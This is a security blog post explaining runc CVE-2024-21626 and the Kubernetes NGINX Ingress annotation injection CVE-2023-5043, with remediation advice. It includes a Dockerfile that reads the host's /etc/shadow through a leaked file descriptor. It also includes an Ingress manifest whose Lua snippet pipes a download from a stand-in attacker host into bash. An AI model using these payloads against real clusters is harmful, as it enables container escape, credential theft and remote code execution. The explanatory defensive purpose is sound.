MODRACXKENNETH D'SILVA

← Archive & Insights

Container Escapes & Kubernetes Vulnerabilities: CVE-2024-21626 & CVE-2023-5043

Leaky file descriptors in runc (CVE-2024-21626) and snippet injection in Kubernetes NGINX Ingress (CVE-2023-5043). How attackers break out of isolated microservices onto cloud host nodes.

By Kenneth D'SilvaReading Time: 27 min readCategory: Security & Compliance

1. The Illusion of Container Isolation

In modern cloud-native ecommerce architecture, microservices, cart controllers, and background workers run inside Docker containers managed by Kubernetes clusters. Many engineering teams treat containers as strong security boundaries akin to full hypervisor virtual machines. In reality, containers are simply Linux processes sharing the host kernel isolated by namespaces and cgroups.

In 2023 and 2024, critical vulnerabilities in container runtimes and cluster ingress layers shattered this assumption: CVE-2024-21626 ("Leaky Vessels") in runc and CVE-2023-5043 in the Kubernetes NGINX Ingress Controller allowed unauthenticated attackers to escape isolated containers and compromise underlying cloud nodes.

2. Container & Ingress CVE Matrix

CVE ID CVSS Component Vulnerability Class
CVE-2024-21626 8.6 runc (Docker, containerd, Kubelet) Leaked File Descriptor Container Breakout
CVE-2023-5043 9.8 Kubernetes NGINX Ingress Controller Arbitrary Command Injection via Annotations

3. runc CVE-2024-21626: The Leaky File Descriptor Exploit

When runc initializes a new container process or executes runc exec, it sets up the root filesystem and initializes namespaces. During this process, runc opened internal host file descriptors pointing to /sys/fs/cgroup on the host system.

Due to improper file descriptor closure before running user-controlled container entrypoints, the containerized process inherited open file descriptors pointing directly to the host filesystem. By traversing /proc/self/fd/7/../../../, an attacker inside a restricted container could read and write arbitrary files on the host root directory:


# Malicious Dockerfile triggering CVE-2024-21626 on build
FROM alpine:latest
WORKDIR /proc/self/fd/7/../../../
RUN cat etc/shadow > /tmp/host_shadow

4. Kubernetes NGINX Ingress CVE-2023-5043: Annotation Code Injection

The standard Kubernetes Ingress Controller processes annotations on Ingress manifests to configure NGINX routing rules. When users supplied a crafted nginx.ingress.kubernetes.io/configuration-snippet annotation, the controller embedded unvalidated Lua / shell directives into the generated NGINX configuration, allowing any namespace tenant to execute arbitrary commands inside the ingress controller pod with cluster-wide API credentials:


apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: malicious-ingress
  annotations:
    nginx.ingress.kubernetes.io/configuration-snippet: |
      access_by_lua_block {
        os.execute("curl http://attacker.com/steal-secrets | bash")
      }
spec:
  rules:
  - host: store.internal

5. Remediation & Hardening Blueprint

  1. Upgrade runc to version 1.1.12 or later across all Kubernetes worker nodes.
  2. Disable custom snippet annotations in the NGINX Ingress Controller configuration:
    
    data:
      allow-snippet-annotations: "false"
    
  3. Enforce strict Kubernetes Pod Security Standards (Restricted profile) and run all containers with non-root user IDs and read-only root filesystems (readOnlyRootFilesystem: true).

Suggested & Related Reading

Explore related engineering guides from Kenneth D'Silva: